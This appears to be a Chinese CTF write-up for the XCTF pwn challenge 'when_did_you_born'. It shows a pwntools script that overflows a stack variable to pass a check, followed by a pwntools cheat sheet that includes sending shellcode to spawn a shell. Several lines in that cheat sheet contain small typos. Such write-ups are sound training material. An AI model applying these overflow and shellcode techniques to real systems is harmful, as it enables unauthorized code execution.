zoukankan      html  css  js  c++  java
  • day-5 xctf-when_did_you_born

    xctf-when_did_you_born

    题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051

    checksec文件:

     没啥,ida打开:

     第一个判断v5应该不等于1926,第二次判断应该等于1926,看到v4,双击进入,可以查看到v5和v4都是同一stack下的,用v4覆盖v5的位置,实现第二个判断为1926。

    在最上面定义可以看到,相对偏移为8。

    构造exp:

    from pwn import *
    
    
    
    #cnn = process('./when_did_you_born')
    
    cnn = remote('111.198.29.45',33487)
    
    
    
    payload = 'a'*8+p64(1926)
    
    
    
    cnn.recvuntil('Your Birth?')
    
    cnn.sendline('1926')
    
    
    
    cnn.sendline(payload)
    
    
    
    cnn.interactive() 

     

    运行一下,可以得到flag:

    总结:唔。。。这是昨天的升级版。

    额外小知识:

    # Pwntools环境预设
    from pwn import *
    context.arch = "amd64/i386"                             #指定系统架构
    context.terminal = ["tmux,"splitw","-h"]     #指定分屏终端
    context.os = "linux"                                     #context用于预设环境
    
    # 库信息
    elf = ELF('./PWNME')                        # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
    libc = ELF('lib/i386-linux-gnu/libc-2.23.so')     # 载入libc的库,可以通过vmmap查看
    /*
    首先使用ELF()获取文件的句柄,然后使用这个句柄调用函数,如
    >>> e = ELF('/bin/cat')
    >>> print hex(e.address)    # 文件装载的基地址
    >>> print hex(e.symbols['write']) # plt中write函数地址
    >>> print hex(e.got['write'])     # GOT表中write符号的地址
    >>> print hex(e.plt['write'])       # PLT表中write符号的地址                    
    */                                       
    
    # Pwntools通信                    
    p = process('./pwnme')                      # 本地 process与程序交互
    r = remote('exploitme.example.com',3333)          # 远程
    
    # 交互
    recv()          # 接收数据,一直接收
    recv(numb=4096,timeout=default) # 指定接收字节数与超时时间                    
    recvuntil("111")     # 接收到111结束,可以裁剪,如.[1:4]
    recbline()      # 接收到换行结束
    recvline(n)     # 接收到n个换行结束
    recvall()           # 接收到EOF
    recvrepeat(timeout=default) #接收到EOF或timeout
    send(data)      # 发送数据
    sendline(data)      # 发送一行数据,在末尾会加
    
    sendlineafter(delims,data) #   在程序接收到delims再发送data                  
    r.send(asm(shellcraft.sh()))                          # 信息通信交互                                       
    r.interactive()                              # send payload后接收当前的shell
    
    # 字符串与地址的转换
    p64(),p32()  #将字符串转化为ascii字节流
    u64(),u32()  #将ascii的字节流解包为字符串地址   
  • 相关阅读:
    HDU5418.Victor and World(状压DP)
    POJ2686 Traveling by Stagecoach(状压DP)
    POJ3254Corn Fields(状压DP)
    HDU5407.CRB and Candies(数论)
    CodeForces 352D. Jeff and Furik
    CodeForces 352C. Jeff and Rounding(贪心)
    LightOj 1282 Leading and Trailing
    Ural 1057. Amount of Degrees(数位DP)
    HDU 2089 不要62 (数位DP)
    HDU5366 The mook jong (DP)
  • 原文地址:https://www.cnblogs.com/yidianhan/p/11583561.html
Copyright © 2011-2022 走看看